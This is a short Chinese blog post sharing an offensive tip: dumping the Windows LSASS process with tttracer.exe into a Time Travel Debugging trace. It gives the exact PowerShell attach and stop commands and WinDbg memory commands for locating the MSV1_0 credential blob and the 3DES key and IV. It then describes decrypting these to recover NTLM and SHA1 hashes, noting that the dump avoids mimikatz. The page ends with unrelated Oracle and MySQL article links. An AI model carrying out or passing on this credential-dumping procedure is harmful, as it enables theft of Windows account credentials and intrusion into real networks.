Lsass dump is dead, long live Lsass Time Travel!
is Time long dump Live LSASS dead
2023-06-13 09:14:29 时间
分享一个小tips,利用tttracer.exe进行lsass转储,转储成Time Travel Debugging格式,思路来源:https://twitter.com/n_o_t_h_a_n_k_s/status/1559620227586875392
首先新建两个管理员权限的powershell终端,分别运行:
tttracer -dumpfull -attach (Get-Process lsass | Select -expand id)
tttracer -stop (Get-Process lsass | Select -expand id)
然后将得到的.run文件放入WinDbg Preview.
懒得本地再装WinDbg Preview.了直接用作者的图
然后运行下面的指令得到MSV1_0 blob区域
db poi(poi(poi(poi(lsasrv!LogonSessionList))+0x108)+0x10)+0x28+0x8 L0x1b0
然后运行下面的指令拿到3des的key和iv
db lsasrv!InitializationVector L8
db poi(poi(lsasrv!h3DesKey)+0x10)+0x38+4 L0x18
最后就是用key和iv去解密blob拿到ntlm、sha1
注意该方法dump的文件mimikatz无法解密,不同版本偏移不同所以windbg命令也不相同
相关文章
- 解决Function get_magic_quotes_gpc() is deprecated
- ORA-01207: file is more recent than control file – old control file ORACLE 报错 故障修复 远程处理
- ORA-19640: datafile checkpoint is SCN string time string ORACLE 报错 故障修复 远程处理
- ORA-38743: Time/SCN is in the future of the database. ORACLE 报错 故障修复 远程处理
- ORA-39026: master table is inconsistent on validation string ORACLE 报错 故障修复 远程处理
- ORA-44305: service string is running ORACLE 报错 故障修复 远程处理
- ORA-44809: No expression is present for classifier ORACLE 报错 故障修复 远程处理
- ORA-00029: session is not a user session ORACLE 报错 故障修复 远程处理
- ORA-00161: transaction branch length string is illegal (maximum allowed string) ORACLE 报错 故障修复 远程处理
- ORA-02172: The PUBLIC keyword is not appropriate for a disable thread ORACLE 报错 故障修复 远程处理
- ORA-13011: value is out of range ORACLE 报错 故障修复 远程处理
- ORA-17501: logical block size string is invalid ORACLE 报错 故障修复 远程处理
- doesOracle:The Time to Act is Now!(oraclewhen)
- MySQL中Time格式解析(mysql中time格式)
- MySQL中的Time数据类型解析(mysql中time型号)
- Oracle中使用IS AS的变换方式(oracle中is as)
- Oracle IS用法指南完整解读(oracle is用法)